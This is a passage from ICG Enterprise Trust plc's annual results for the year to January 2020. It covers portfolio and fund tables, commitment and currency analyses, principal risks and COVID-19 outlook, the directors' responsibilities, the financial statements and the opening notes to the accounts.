companies. We expect the decline in public markets seen after the year-end and the broader consequences of COVID-19 on global economies to have an impact on portfolio valuations in the months ahead and for the rate of realisations to slow. The speed of any recovery, in the medium term, will depend on business models, end markets and government policy, and will also vary by geography, by sector and by company. ICG Enterprise has a well-diversified Portfolio, invested primarily in companies with strong defensive characteristics and weighted towards more resilient sectors. We invest with leading managers in the US and Europe focused on mid-market and larger buyouts, with a bias towards those with strong in-house operating teams and capital markets specialists. The managers that we invest with have access to capital to support portfolio companies and significant experience in managing companies through periods of economic stress. In the weeks since the crisis unfolded, we have begun to see some of the benefits of the private equity model, with managers acting quickly and decisively to preserve and protect value. We believe private equity is well suited to dealing with current market conditions and have confidence that our managers will be able to adapt to future events. Our flexible mandate, and in particular our high conviction approach, allows us to be nimble and adapt the mix of new investment to evolving market conditions. While we do not expect significant new investment activity until markets stabilise, we are well placed to benefit from more favourable entry valuations and take advantage of the opportunities as they arise. ICG Private Equity Fund Investments Team 27 April 2020 Supplementary information (unaudited) This section presents supplementary information regarding the Portfolio (see Managers Review and the Glossary for further details and definitions). The 30 largest underlying companies The table below presents the 30 companies in which ICG Enterprise had the largest investments by value at 31 January 2020. These investments may be held directly or through funds, or in some cases in both ways. The valuations are gross and are shown as a percentage of the total investment Portfolio. Company Manager Year of investment Country Value as a % of Portfolio 1 DomusVi + Operator of retirement homes ICG 2017 France 3.6% 2 City & County Healthcare Group Provider of home care services Graphite Capital 2013 UK 2.9% 3 Minimax + Supplier of fire protection systems and services ICG 2018 Germany 2.9% 4 Roompot + Operator and developer of holiday parks PAI Partners 2016 Netherlands 2.5% 5 PetSmart + Retailer of pet products and services BC Partners 2015 USA 2.4% 6 Leaf Home Solutions Provider of gutter protection solutions Gridiron 2016 USA 2.1% 7 Visma + Provider of accounting software and accounting outsourcing services ICG 2017 Norway 1.8% 8 Yudo + Manufacturer of components for injection moulding ICG 2018 South Korea 1.8% 9 Doc Generici + Retailer of pharmaceutical products ICG 2019 Italy 1.8% 10 System One + Provider of specialty workforce solutions Thomas H Lee Partners 2016 USA 1.7% 11 Supporting Education Group +^ Provider of temporary staff for the education sector ICG 2014 UK 1.7% 12 Gerflor^ Manufacturer of vinyl flooring ICG 2017 France 1.7% 13 Froneri^ Manufacturer and distributor of ice cream products PAI Partners 2019 UK 1.6% 14 nGAGE Provider of recruitment services Graphite Capital 2014 UK 1.5% 15 Beck & Pollitzer Provider of industrial machinery installation and relocation Graphite Capital 2016 UK 1.5% 16 IRI + Provider of data and predictive analytics to consumer goods manufacturers New Mountain 2018 USA 1.4% 17 Endeavor Schools + Operator of schools Leeds Equity Partners 2018 USA 1.4% 18 YSC Provider of leadership consulting and management assessment services Graphite Capital 2017 UK 1.4% 19 ICR Group Provider of repair and maintenance services to the energy industry Graphite Capital 2014 UK 1.3% 20 Compass Community Provider of fostering services and children residential care Graphite Capital 2017 UK 1.1% 21 Berlin Packaging + Provider of global packaging services and supplies Oak Hill Capital Partners 2019 USA 1.1% 22 VitalSmarts + Provider of corporate training courses focused on communication skills and leadership development Leeds Equity Partners 2019 USA 1.0% 23 PSB Academy + Provider of private tertiary education ICG 2018 Singapore 1.0% 24 U-POL^ Manufacturer and distributor of automotive refinishing products Graphite Capital 2010 UK 0.9% 25 Ceridian + Provider of payroll and human capital software Thomas H Lee Partners 2007 USA 0.9% 26 David Lloyd Leisure + Operator of premium health clubs TDR Capital 2013 UK 0.8% 27 Cognito +^ Supplier of communications equipment, software & services Graphite Capital 2002 / 2014 UK 0.7% 28 Random42 Provider of medical animation and digital media services Graphite Capital 2017 UK 0.6% 29 EG Group Operator of petrol station forecourts TDR Capital 2014 UK 0.6% 30 TeamViewer Provider of secure remote support and online meeting software Permira 2014 Germany 0.6% Total of the 30 largest underlying investments 46.3% All or part of this investment is held directly as a co-investment or other direct investment. ^ All or part of this investment was acquired as part of a secondary purchase. The 30 largest fund investments The table below presents the 30 largest funds by value at 31 January 2020. The valuations are net of any carried interest provision. Fund Year of commitment Country/ region Value m Outstanding commitment m 1 Graphite Capital Partners VIII * Mid-market buyouts 2013 UK 90.1 14.9 2 Gridiron Capital Fund III Mid-market buyouts 2016 North America 24.3 4.1 3 ICG Europe VI ** Mezzanine and equity in mid-market buyouts 2015 Europe 20.0 3.3 4 CVC European Equity Partners VI Large buyouts 2013 Europe/USA 18.0 2.9 5 Thomas H Lee Equity Fund VII Mid-market and large buyouts 2015 USA 17.9 1.6 6 BC European Capital IX ** Large buyouts 2011 Europe/USA 15.7 2.1 7 PAI Europe VI Mid-market and large buyouts 2013 Europe 14.7 1.5 8 Advent Global Private Equity VIII Large buyouts 2016 Europe/USA 14.6 1.4 9 Permira V Large buyouts 2013 Europe/USA 14.4 0.8 10 PAI Strategic Partnerships ** Mid-market and large buyouts 2019 Europe 14.4 1.5 11 Sixth Cinven Fund Large buyouts 2016 Europe 13.7 5.3 12 Graphite Capital Partners VII * / ** Mid-market buyouts 2007 UK 13.7 2.8 13 ICG Europe VII Mezzanine and equity in mid-market buyouts 2018 Europe 13.6 22.6 14 BC European Capital X Large buyouts 2016 Europe 12.4 1.9 15 ICG Strategic Secondaries Fund II Secondary fund restructurings 2016 Europe/USA 12.3 14.4 16 One Equity Partners VI Mid-market buyouts 2016 Europe/USA 11.8 0.8 17 Silverfleet II Mid-market buyouts 2014 Europe 11.5 2.0 18 ICG Asia Pacific Fund III Mezzanine and equity in midmarket buyouts 2016 Asia Pacific 11.3 2.7 19 CVC European Equity Partners VII Large buyouts 2017 Europe/North America 10.9 10.0 20 TDR Capital III Mid-market and large buyouts 2013 Europe 10.3 2.1 21 Resolute II ** Mid-market buyouts 2018 USA 10.3 2.3 22 Oak Hill Capital Partners IV Mid-market buyouts 2017 USA 8.9 2.7 23 Permira VI Large buyouts 2016 Europe 8.9 1.8 24 Activa Capital Fund III Mid-market buyouts 2013 France 8.7 1.9 25 Nordic Capital Partners VIII Mid-market and large buyouts 2013 Europe 8.6 1.3 26 Hollyport Secondary Opportunities VI Tail-end secondary portfolios 2017 Global 8.3 2.3 27 IK VIII Mid-market buyouts 2016 Europe 8.1 1.5 28 Gryphon V Mid-market buyouts 2019 North America 8.0 3.9 29 IK VII Mid-market buyouts 2013 Europe 8.0 0.4 30 Bain Capital Europe IV Mid-market buyouts 2014 Europe 8.0 0.8 Total of the largest 30 fund investments 451.4 117.6 Percentage of total investment Portfolio 56.0% * Includes the associated Top Up funds. ** All or part of an interest acquired through a secondary fund purchase. Portfolio analysis Closing Portfolio by value Portfolio by investment type % of value of underlying investments 31 January 2020 % of value of underlying investments 31 January 2019 Large buyouts 46.4% 44.7% Mid-market buyouts 42.2% 47.2% Small buyouts 8.7% 4.6% Other 2.7% 3.5% Total 100.0% 100.0% Portfolio by calendar year of investment % of value of underlying investments 31 January 2020 2020 0.1% 2019 17.2% 2018 19.7% 2017 19.2% 2016 16.2% 2015 7.7% 2014 8.5% 2013 5.5% 2012 1.4% 2011 0.9% 2010 1.3% 2009 0.6% 2008 0.1% 2007 1.3% 2006 and before 0.3% Total 100.0% Portfolio by sector % of value of underlying investments 31 January 2020 % of value of underlying investments 31 January 2019* Healthcare and education 23.2% 20.8% Industrials 15.5% 16.4% Business services 15.4% 17.8% Consumer goods and services 15.1% 14.2% TMT 13.6% 11.8% Leisure 7.7% 8.7% Financials 5.3% 5.5% Other 4.2% 4.8% Total 100.0% 100.0% * Restated following the reclassification of four underlying investments in the current year Portfolio by geographic distribution based on location of company headquarters % of value of underlying investments 31 January 2020 % of value of underlying investments 31 January 2019 Europe 36.7% 38.8% UK 27.1% 30.9% North America 29.9% 25.9% Rest of world 6.3% 4.4% Total 100.0% 100.0% Commitments analysis The following tables analyse commitments at 31 January 2020. Original commitments are translated at 31 January 2020 exchange rates. Total undrawn commitments Original commitment 000 Outstanding commitment 000 Average drawdown percentage % of commitments Investment period not commenced 16,801 16,801 0.0% 3.7% Funds in investment period 543,836 360,044 33.8% 78.5% Funds post investment period 804,907 81,793 89.8% 17.8% Total 1,365,544 458,639 66.4% 100.0% Movement in outstanding commitments in year ended 31 January 2020 m As at 1 February 2019 411.2 New primary commitments 156.3 New commitments relating to co-investments and secondary purchases 2.0 Drawdowns (113.3) Secondary disposals (1.5) Currency and other movements 3.9 As at 31 January 2020 458.6 New commitments during the year to 31 January 2020 Fund Strategy Geography m Primary commitments ICG Europe Mid-Market Fund Mezzanine and equity in mid-market buyouts Europe 17.9 Seventh Cinven Large buyouts Europe 17.3 Oak Hill V Mid-market buyouts USA 15.8 AEA VII Mid-market buyouts North America 15.3 Investindustrial VII Mid-market buyouts Southern Europe 13.6 IK IX Mid-market buyouts Europe 13.5 Permira VII Large buyouts Global 13.4 Advent IX Large buyouts Europe/USA 13.2 Gridiron IV Mid-market buyouts North America 12.4 Gryphon V Mid-market buyouts North America 11.5 Carlyle Europe V Mid-market buyouts Europe 8.6 CB Technology Opportunities Fund Lower middle-market buyouts North America 3.8 Total primary commitments 156.3 Commitments relating to co-investments and secondary investments 2.0 Total new commitments 158.3 Currency exposure Portfolio1 31 January 2020 m 31 January 2020 % 31 January 2019 m 31 January 2019 % Sterling 246.0 30.5 241.9 34.8 Euro 226.6 28.1 190.8 27.5 US Dollar 224.2 27.8 173.3 25.0 Other European 59.6 6.2 53.8 7.7 Other 50.0 7.4 35.0 5.0 Total 806.4 100.0 694.8 100.0 1 Currency exposure is calculated by reference to the location of the underlying Portfolio companies headquarters. Outstanding commitments 31 January 2020 m 31 January 2020 % 31 January 2019 m 31 January 2019 % Sterling 65.3 14.2 83.3 20.3 Euro 213.0 46.5 172.2 41.9 US Dollar 178.5 38.9 153.9 37.4 Other European 1.8 0.4 1.8 0.4 Total 458.6 100.0 411.2 100.0 Realisation activity Investment Manager Year of investment Realisation type Proceeds m Froneri PAI Partners 2013 Restructuring1 17.8 Abode Healthcare Tailwind Capital 2018 Financial buyer 10.8 Ceridian Thomas H Lee Partners 2007 Sell down post IPO 10.7 Visma Cinven 2014 Financial buyer 8.3 Atlas for Men Activa 2016 Financial buyer 4.6 Stella ICG 2015 Financial buyer 3.7 SK:N Limited (Lasercare) Graphite Capital 2006 Financial buyer 3.6 Aston Scott Bowmark 2015 Financial buyer 3.5 Parex CVC 2014 Trade 2.9 Integer ICG 2018 Financial buyer 2.9 Total of 10 largest underlying realisations 68.9 Total realisations 148.8 1 Majority of proceeds from current year sale re-invested into a rollover vehicle managed by PAI Partners. Investment activity Investment Description Manager Country Cost1 m Froneri2 Manufacturer and distributor of ice cream products PAI Partners UK 13.1 Doc Generici Retailer of pharmaceutical products ICG Italy 12.4 VitalSmarts Provider of corporate training courses focused on communication skills and leadership development Leeds Equity Partners USA 8.3 Berlin Packaging Provider of global packaging services and supplies Oak Hill Capital Partners USA 8.1 RegEd Provider of regulatory compliance and management software products Gryphon Investors USA 4.6 NRS Healthcare Provider of community products and services which are used to help elderly and disabled live independently. Graphite Capital UK 2.9 Hanson Wade Organiser of B2B conferences for pharmaceutical and biotech industries. Graphite Capital UK 2.8 Horizon Care and Education Provider of specialist care for children and adolescents. Graphite Capital UK 2.6 Tat Hong Operator of crane rental company ICG Singapore 2.5 Prodapt Provider of consulting and managed services for telecom/DSP ecosystems ICG India 2.4 Total of 10 largest underlying new investments 59.7 Total new investment 158.6 1 Represents ICG's indirect exposure (share of fund cost) plus any amounts paid for co-investments in the period. 2 Majority of proceeds from current year sale re-invested into a rollover vehicle managed by PAI Partners. PRINCIPAL RISKS AND UNCERTAINTIES Risk management The Board is responsible for risk management and determining the Companys overall risk appetite. The Audit Committee assesses and monitors the risk management framework and specifically reviews the controls and assurance programmes in place. Principal risks and uncertainties The execution of the Companys investment strategy is subject to risk and uncertainty and the Board and Manager have identified a number of principal risks to the Companys business. As part of this process, the Board have carried out a robust assessment of the principal risks facing the entity, including those that would threaten its business model, future performance, solvency or liquidity. The Company considers its principal risks (as well as a number of underlying risks comprising each principal risk) in four categories: Investment Risks the risk to performance resulting from ineffective or inappropriate investment selection, execution, monitoring. External Risks the risk of failing to deliver the Companys strategic objectives due to external factors beyond the Companys control. Operational Risks the risk of loss or missed opportunity resulting from a regulatory failure or the failure of people, processes or systems. Financial Risks the risks of adverse impact on the Company due to having insufficient resources to meet its obligations or counterparty failure and the impact any material movement in foreign exchange rates may have on underlying valuations. Emerging risks are regularly considered to assess any potential impact on the Company and to determine whether any actions are required. Emerging risks include those related to regulatory/legislative change and macro-economic and political change, which in the current year have included the impact of ESG on the Company and the UKs trade negotiations with the EU. Following the year end, there have been significant developments in relation to the COVID-19 outbreak. These developments are unprecedented and likely to have a material impact on a number of our principal risks, in particular on investment performance risk and valuation risk. The Manager and the Board are working closely to understand and mitigate the immediate and potential future impact of the COVID-19 pandemic, and its economic fallout, on the Company. The Manager is in regular contact with the underlying managers, who have a strong operational focus, to understand the impact on their portfolios and mitigating actions that they may take. In addition, the Company has drawn 40m on its bank facility since the year end to further strengthen its liquidity position. Given the rapid escalation of the crisis, we currently have limited visibility on the short and longer-term impact of COVID-19 on the global economy. It is difficult to fully assess the impact on the Company at this stage, but clearly a number of risks are heightened currently. Other risks, including reputational risk, are seen as potential outcomes of the core principal risks materialising. These risks are managed as part of the overall risk management of the Company. A comprehensive risk assessment process is undertaken regularly to re-evaluate the impact and probability of each risk materialising and the nancial or strategic impact of the risk. Where the residual risk is determined to be outside of appetite, appropriate action is taken. Further information on risk factors is set out within the financial statements. Risk appetite and tolerance The Board acknowledges and recognises that in the normal course of business the Company is exposed to risk and that it is willing to accept a certain level of risk in managing the business to achieve its targeted returns. As part of its risk management framework, the Board considers its risk appetite in relation to each principal risk and monitors this on an ongoing basis. Where a risk is approaching or is outside the tolerance set, the Board will consider the appropriateness of actions being taken to manage the risk. In particular, the Board has a very low tolerance for financing risk with the aim to ensure that even under the most severe stress scenario, the Company is likely to meet its funding requirements and financial obligations. Similarly, the Board has a low-risk tolerance concerning operational risks including legal, taxation, regulatory and business process and continuity risk. RISK IMPACT MITIGATION CHANGE IN THE YEAR Investment Risks Investment performance The Manager selects the fund investments and direct co-investments for the Companys Portfolio. The underlying managers of those funds in turn select individual investee companies. The origination, investment selection and management capabilities of both the Manager and the third party managers are key to the performance of the Company. Poor origination, investment selection and monitoring by the Manager and/or third party managers could significantly affect the performance of the portfolio. The Manager has a strong track record of investing in private equity through multiple economic cycles. The Manager has a highly selective investment approach and disciplined process, which is overseen by ICG Enterprises Investment Committee within the Manager, which comprises a balance of skills and perspectives. Further, the Companys Portfolio is diversified reducing the likelihood of a single investment decision impacting portfolio performance. Stable9 The Board reviews the activities and performance of the Manager on an ongoing basis and reviews the investment strategy annually. Following this assessment and other considerations, the Board concluded that there was no material change in investment performance risk during the year. Valuation In valuing its investments in private equity funds and unquoted companies and publishing its NAV, the Company relies to a significant extent on the accuracy of financial and other information provided by the underlying managers to the Manager. There is the potential for inconsistency in the valuation methods adopted by the managers of these funds and companies and for valuations to be misstated Incorrect valuations being provided would lead to an incorrect overall NAV. The Manager carries out a formal valuation process involving a quarterly review of third party valuations, verification of the latest audited reports, as well as a review of any potential adjustments that are required to ensure the valuation of the underlying investments are in accordance with the fair market value principles required under International Financial Reporting Standards (IFRS). Stable9 The Board discussed the valuation process in detail with the Manager and the external auditors, including the sources of valuation information and methodologies used. Following this assessment and other considerations, the Board concluded that there was no material change in valuation risk during the year. External Political and macroeconomic uncertainty Political and macroeconomic uncertainty, including impacts from the UKs trade negotiations with the EU, uncertainty around US trade negotiations, or similar scenarios, could impact the environment in which the Company and its investment portfolio companies operate. Changes in the macro-economic or political environment could significantly affect the performance of existing investments (and valuations) and prospects for realisations. In addition, it could impact the number of credible investment opportunities the Company can originate. The Manager actively monitors these developments, with the support of a dedicated in-house economist and professional advisers where appropriate, to ensure it is prepared for any potential impacts (to the extent possible). Stable9 The Board monitors and reviews the potential impact on the Company from political and economic developments on an ongoing basis, including input and discussions with the Manager. Incorporating these views and other considerations, the Board concluded that there was no material change in political and macro-economic uncertainty risk during the year. Private equity sector The private equity sector could fall out of favour with investors leading to a reduction in demand for the Companys shares. A change in sentiment to the sector has the potential to damage the Companys reputation and impact the performance of the Companys share price and widen the discount the shares trade at relative to NAV per share, causing shareholder dissatisfaction. Private equity has outperformed public markets over the long term and it has proved to be an attractive asset class through various cycles. The Manager is active in marketing the Companys shares to a wide variety of investors to ensure the market is informed about the Companys performance and investment proposition. The Board monitors the discount to NAV and considers appropriate solutions to address any ongoing or substantial discount to NAV, including share buybacks. Stable9 The Board receives regular updates from the Companys broker and is kept informed of all material discussions with investors and analysts. Incorporating these updates and other considerations, the Board concluded that there was no material change in private equity sector sentiment risk during the year. Foreign exchange The Company has continued to expand its geographic diversity by making investments in a number of countries. Accordingly, a number of investments are denominated in US dollars, euros and other currencies other than sterling. At present, the Company does not hedge its foreign exchange exposure. Therefore, movement in exchange rates between these currencies may have a material effect on the underlying valuations of the investments and performance of the Company. The Board regularly reviews the Companys exposure to currency risk and reconsiders possible hedging strategies on an annual basis. Furthermore, the Companys multicurrency bank facility permits the borrowings to be drawn in euros and US dollars, if required. Stable9 The Board reviewed the Companys exposure to currency risk and possible hedging strategies and concluded that there was no material change in foreign exchange risk during the year and that it remained appropriate for the Company not to hedge its foreign exchange exposure. Operational Risks Regulatory, legislative and taxation compliance Failure by the Manager to comply with relevant regulation and legislation could have an adverse impact on the Company, or adherence to such could become onerous. This includes the Corporate Governance Code, Corporation Tax Act 2010, the Companies Act 2006, the Companies (Miscellaneous Reporting) Regulations 2018, the Alternative Investment Fund Managers Directive, accounting standards, investment trust regulations and the Listing Rules and Disclosure Guidance and Transparency Rules. If applicable law and regulations are not complied with, the Company could face regulatory sanction and penalties as well as a significant damage to its reputation. The Board is responsible for ensuring the Companys compliance with all applicable regulations. Monitoring of this compliance, and regular reporting to the Board thereon, has been delegated to the Manager. The Managers in-house legal counsel, supported by the Compliance and Risk functions, provides regular updates to the Board covering relevant changes to legislation and regulation. The Manager and the Board ensure compliance with applicable regulation and legislation occurs in an effective manner. Increased As a result of the Company entering the FTSE 250 index during the year, as well as other regulatory and corporate governance developments, the financial or reputational impact resulting from potential regulatory or legislative failings has increased. During the year, both the Board and the Managers risk function have closely monitored and evaluated the risks resulting from these developments, and the Company has continued to enhance its processes and controls in order to remain compliant with current and expected legislation. People Loss of key investment professionals at the Manager could impair the Companys ability to deliver its investment strategy if replacements are not found in a timely manner. If the Managers investment team were not able to deliver, investment opportunities could be missed or misevaluated, while existing investment performance may suffer. The Manager regularly updates the Board on team developments and succession planning. The Manager places significant focus on developing key individuals to ensure that there is a pipeline of potential succession candidates internally. External appointments are also considered if that best satisfies the business needs at the appropriate time. The Companys investment team within the Manager has always taken a team-based approach to decision-making which helps to mitigate against key person risk. In addition, no one investment professional has sole responsibility for an investment or fund manager relationship and, to ensure that insights and knowledge are widely spread across the investment team, the team meets weekly to discuss all potential new investments and the overall performance of the portfolio. The Managers compensation policy is designed to minimise turnover of key people. In addition, the senior investment professionals are required to co-invest alongside the Company for which they are entitled to a share of investment profits if performance hurdles are met, which aids retention. Decreased Oliver Gardey was appointed as head of the Companys investment team, succeeding Emma Osborne. As a result of the successful transition, the Board believes that the risk in respect of People has now reduced. Information security The Company is dependent on effective information technology systems at both the Manager and Administrator. These systems support key business functions and are an important means of safeguarding sensitive information. A significant disruption to these IT systems, including breaches of data confidentiality or cybersecurity, could result in, among other things, financial losses, an inability to perform business critical functions, regulatory censure, legal liability and reputational damage. Application of the Managers and Administrators information security policies is supported by a governance structure and a risk framework that allows for the identification, control and mitigation of technology risks. The adequacy of the systems and controls the Manager and Administrator have in place to mitigate the technology risks is continuously monitored and subject to regular testing. The effectiveness of the framework is periodically assessed. Stable9 The Board carries out a formal assessment of the Managers internal controls and risk management systems every year. Following this review and other considerations, the Board concluded that there was no material change in information security risk during the year. The Manager and other third party advisers, including business processes and continuity The Company is dependent on third parties for the provision of all systems and services. In particular, the Company is dependent on the business processes of the Manager, Administrator and Depositary operating effectively. These systems support key business functions. Control failures and gaps in these systems and services could result in a loss or damage to the Company. A significant failure of or disruption to the Manager, Administrator or Depositarys processes could result in, among other things, financial losses, an inability to perform business critical functions, regulatory censure, legal liability and reputational damage. The Audit Committee formally assesses the internal controls of the Manager, the Administrator and Depositary on an annual basis to ensure adequate controls are in place. The assessment in respect of the current year is discussed in the Report of the Audit Committee within the Annual Report. The Management Agreement and agreements with other key service providers are subject to notice periods that are designed to provide the Board with adequate time to put in place alternative arrangements. Stable The Board carries out a formal assessment of the Managers internal controls and risk management systems every year. Following this review and other considerations, the Board concluded that there was no material change in the manager and other third party advisers risk during the year. Financial Risks Financing The Company has outstanding commitments that may be drawn down at any time in excess of total liquidity to private equity funds. The ability to fund this difference is dependent on receiving cash proceeds from investments (the timing of which are unpredictable) and the availability of financing facilities. If the Company encountered difficulties in meeting its outstanding commitments, there would be significant reputational damage as well as risk of damages being claimed from managers and other counterparties. It is also possible that the Company might need to raise new equity to fund its outstanding commitments. The Manager monitors the Companys liquidity and covenants on a frequent basis, and undertakes cash flow monitoring, and provides regular updates on these activities to the Board. Commitments are expected to be mostly deployed over a four-year period. If necessary the Company can reduce the level of co-investments and secondary investments, which are discretionary, to preserve liquidity for funding its commitments. The Company could also dispose of assets. The Company has a 176m (148m), multi-currency bank facility which was renewed on 2 April 2019. The facility is split into two equal tranches, maturing in April 2021 and April 2022. The total available liquidity as at 31 January 2020 stood at 162.3m, comprising 14.5m in cash balances and 147.8m in undrawn bank facilities. As a result, the available financing along with the private equity portfolio exceeded the outstanding commitments by a factor of 2.1 times. Stable9 The Board received written reports and updates from the Manager on at least a quarterly basis and as appropriate on the Companys balance sheet position and financing arrangements. Incorporating these reports, updates and other considerations, the Board concluded that there was no material change in financing risk during the year. STATEMENT OF DIRECTORS RESPONSIBILITIES The directors are responsible for preparing the Annual Report, the Directors Remuneration Report and the financial statements in accordance with applicable law and regulations. Company law requires the directors to prepare financial statements for each financial year. Accordingly, the directors have prepared the financial statements in accordance with International Financial Reporting Standards (IFRS) as adopted by the European Union. Company law also requires that the directors do not approve the financial statements unless they are satisfied that they give a true and fair view of the state of affairs of the Company and of the profit or loss of the Company for the relevant period. In preparing these financial statements, the directors are required to: select suitable accounting policies and then apply them consistently; make judgements and accounting estimates that are reasonable and prudent; state whether applicable IFRS, as adopted by the European Union, have been followed, subject to any material departures disclosed and explained in the financial statements; and prepare the financial statements on a going concern basis unless it is inappropriate to presume that the Company will continue in business. The directors are responsible for keeping adequate accounting records that are sufficient to show and explain the Companys transactions and disclose with reasonable accuracy at any time the financial position of the Company and enable them to ensure that the financial statements and the Directors Remuneration Report comply with the Companies Act 2006 and, as regards the Companys financial statements, Article 4 of the International Accounting Standards Regulation (EC) No 1606/2002. They are also responsible for safeguarding the assets of the Company and for taking reasonable steps for the prevention and detection of fraud and other irregularities. The directors are responsible for the maintenance and integrity of the Companys website. Legislation in the United Kingdom governing the preparation and dissemination of financial statements may differ from legislation in other jurisdictions. Having taken advice from the Audit Committee, the directors consider that the Annual Report, taken as a whole, is fair, balanced and understandable and provides the information necessary for shareholders to assess the Companys position and performance, business model and strategy. Each of the directors confirm that, to the best of their knowledge: the financial statements, which have been prepared in accordance with IFRS as adopted by the European Union, give a true and fair view of the assets, liabilities, financial position and profit of the Company; and the Strategic Report includes a fair review of the development and performance of the business and the position of the Company, together with a description of the principal risks and uncertainties that it faces. On behalf of the Board Jeremy Tigue Chairman 27 April 2020 INCOME STATEMENT Year to 31 January 2020 Year to 31 January 2019 Notes Revenue return 000 Capital return 000 Total 000 Revenue return 000 Capital return 000 Total 000 Investment returns Income, gains and losses on investments 7,060 85,660 92,720 5,753 85,769 91,522 Deposit interest 300 300 156 156 Other income 81 81 60 60 Foreign exchange gains and losses 208 208 938 938 7,441 85,868 93,309 5,969 86,707 92,676 Expenses Investment management charges (2,393) (7,179) (9,572) (1,996) (5,988) (7,984) Other expenses (1,738) (1,494) (3,232) (1,851) (1,052) (2,903) (4,131) (8,673) (12,804) (3,847) (7,040) (10,887) Profit before tax 3,310 77,195 80,505 2,122 79,667 81,789 Taxation (538) 538 (260) 260 Profit for the year 2,772 77,733 80,505 1,862 79,927 81,789 Attributable to: Equity shareholders 2,772 77,733 80,505 1,862 79,927 81,789 Basic and diluted earnings per share 4 116.63p 118.12p The columns headed 'Total' represent the income statement for the relevant financial years and the columns headed 'Revenue return' and 'Capital return' are supplementary information in line with guidance published by the AIC. There is no Other Comprehensive Income. BALANCE SHEET Notes 31 January 2020 000 31 January 2019 000 Non-current assets Investments held at fair value 778,416 670,072 Current assets Cash and cash equivalents 14,470 60,626 Receivables 1,142 548 15,612 61,174 Current liabilities Payables 483 386 Net current assets 15,129 60,788 Total assets less current liabilities 793,545 730,860 Capital and reserves Share capital 7,292 7,292 Capital redemption reserve 2,112 2,112 Share premium 12,936 12,936 Capital reserve 771,205 708,520 Revenue reserve Total equity 793,545 730,860 Net asset value per share (basic and diluted) 6 1,152.1p 1,056.5p CASH FLOW STATEMENT Notes Year to 31 January 2020 000 Year to 31 January 2019 000 Operating activities Sale of portfolio investments 107,179 135,461 Purchase of portfolio investments (95,417) (101,790) Net cash flows to subsidiary investments (34,446) (32,427) Interest income received from portfolio investments 5,832 3,994 Dividend income received from portfolio investments 1,290 1,883 Other income received 381 216 Investment management charges paid (9,499) (7,956) Other expenses paid (1,227) (1,749) Net cash (outflow)/inflow from operating activities (25,907) (2,368) Financing activities Bank facility fee (2,576) (1,081) Interest paid (61) Purchase of shares into treasury (2,628) (709) Equity dividends paid 5 (15,192) (14,543) Net cash outflow from financing activities (20,457) (16,333) Net (decrease)/increase in cash and cash equivalents (46,364) (18,701) Cash and cash equivalents at beginning of year 60,626 78,389 Net (decrease)/increase in cash and cash equivalents (46,364) (18,701) Effect of changes in foreign exchange rates 208 938 Cash and cash equivalents at end of year 14,470 60,626 STATEMENT OF CHANGES IN EQUITY Company Share capital 000 Capital redemption reserve 000 Share premium 000 Realised capital reserve 000 Unrealised capital reserve 000 Revenue reserve 000 Total shareholders equity 000 Year to 31 January 2020 Opening balance at 1 February 2019 7,292 2,112 12,936 348,632 359,888 730,860 Profit for the year and total comprehensive income 22,809 54,924 2,772 80,505 Dividends paid or approved (12,420) (2,772) (15,192) Purchase of shares into treasury (2,628) (2,628) Closing balance at 31 January 2020 7,292 2,112 12,936 356,393 414,812 793,545 Company Share capital 000 Capital redemption reserve 000 Share premium 000 Realised capital reserve 000 Unrealised capital reserve 000 Revenue reserve 000 Total shareholders equity 000 Year to 31 January 2019 Opening balance at 1 February 2018 7,292 2,112 12,936 313,550 317,188 11,245 664,323 Profit for the year and total comprehensive income 37,227 42,700 1,862 81,789 Dividends paid or approved (1,436) (13,107) (14,543) Purchase of shares into treasury (709) (709) Closing balance at 31 January 2019 7,292 2,112 12,936 348,632 359,888 730,860 NOTES TO THE FINANCIAL STATEMENTS 1) General information These financial statements relate to ICG Enterprise Trust plc ('the Company'). ICG Enterprise Trust plc is registered in England and Wales and is incorporated in the UK. The Company is domiciled in the United Kingdom and its registered office is Juxon House, 100 St Pauls Churchyard, London EC4M 8BU. The Companys objective is to provide long-term growth by investing in private companies managed by leading private equity managers. 2) Financial information The financial information for the year ended 31 January 2020 has been extracted from the statutory accounts for that year and do not comprise statutory accounts within the meaning of section 434 of the Companies Act 2006. The report of the auditors on those accounts was unqualified, did not contain an emphasis of matter paragraph and did not contain any statements under section 498(2) or (3) of the Companies Act 2006. Statutory accounts for that year will be delivered to the Registrar of Companies following the Company's Annual General Meeting which will be held at 2a Luttrell Avenue, London, SW15 6PF on 17 June 2020 at 10 a.m. The financial information for the year ended 31 January 2019 has been extracted from the statutory accounts for that year which were approved by the Board of Directors on 12 April 2019 and delivered to the Registrar of Companies. The report of the auditors on those accounts was unqualified, did not contain an emphasis of matter paragraph and did not contain any statements under section 498(2) or (3) of the Companies Act 2006. The financial information for the year ended 31 January 2020 has been prepared in accordance with the Companies Act 2006 as applicable to companies using International Financial Reporting Standards ('IFRS') and the Statement of Recommended Practice ('SORP') for investment trusts issued by the Association of Investment Companies in October 2019. 3) Basis of preparation IFRS comprises standards and interpretations approved by the International Accounting Standards Board ('IASB') and the IFRS Interpretations Committee as adopted in the European Union as at 31 January 2020. These financial statements have been prepared on a going concern basis and on the historical cost basis of accounting, modified for the revaluation of certain assets at fair value. Further detail is provided in the Report of the Directors, which includes the Board's assessment of the impact of the COVID-19 outbreak on the going concern basis of accounting. The principal accounting policies adopted are set out below. These policies have been applied consistently throughout the current and prior year. In order to reflect the activities of an investment trust company, supplementary information which analyses the income statement between items of revenue and capital nature has been presented alongside the income statement. In analysing total income between capital and revenue returns, the directors have followed the guidance contained in the SORP as follows: Capital gains and losses on investments sold and on investments held arising on the revaluation or disposal of investments classified as held at fair value through profit or loss should be shown in the capital column of the income statement. Returns on any share or debt security for a fixed amount (whether in respect of dividends, interest or otherwise) should be shown in the revenue column of the income statement. The Board should determine whether the indirect costs of generating capital gains should also be shown in the capital column of the income statement. If the Board decides that this should be so, the management fee should be allocated between revenue and capital in accordance with the Boards expected long term split of returns, and other expenses should be charged to capital only to the extent that a clear connection with the maintenance or enhancement of the value of investments can be demonstrated. The accounting policy regarding the allocation of expenses is set out in note 1(i). In accordance with IFRS 10 (amended), the Company is deemed to be an investment entity on the basis that: (a) it obtains funds from one or more investors for the purpose of providing investors with investment management services; (b) it commits to its investors that its business purpose is to invest funds for both returns from capital appreciation and, investment income; and (c) it measures and evaluates the performance of substantially all of its investments on a fair value basis. As a result, the Companys subsidiaries are deemed to be investment entities and are included in subsidiary investments classified as held at fair value through profit or loss. Investments All investments are classified upon initial recognition as held at fair value through profit or loss (described in these financial statements as investments held at fair value) and are measured at subsequent reporting dates at fair value. Changes in the value of all investments held at fair value, which include returns on those 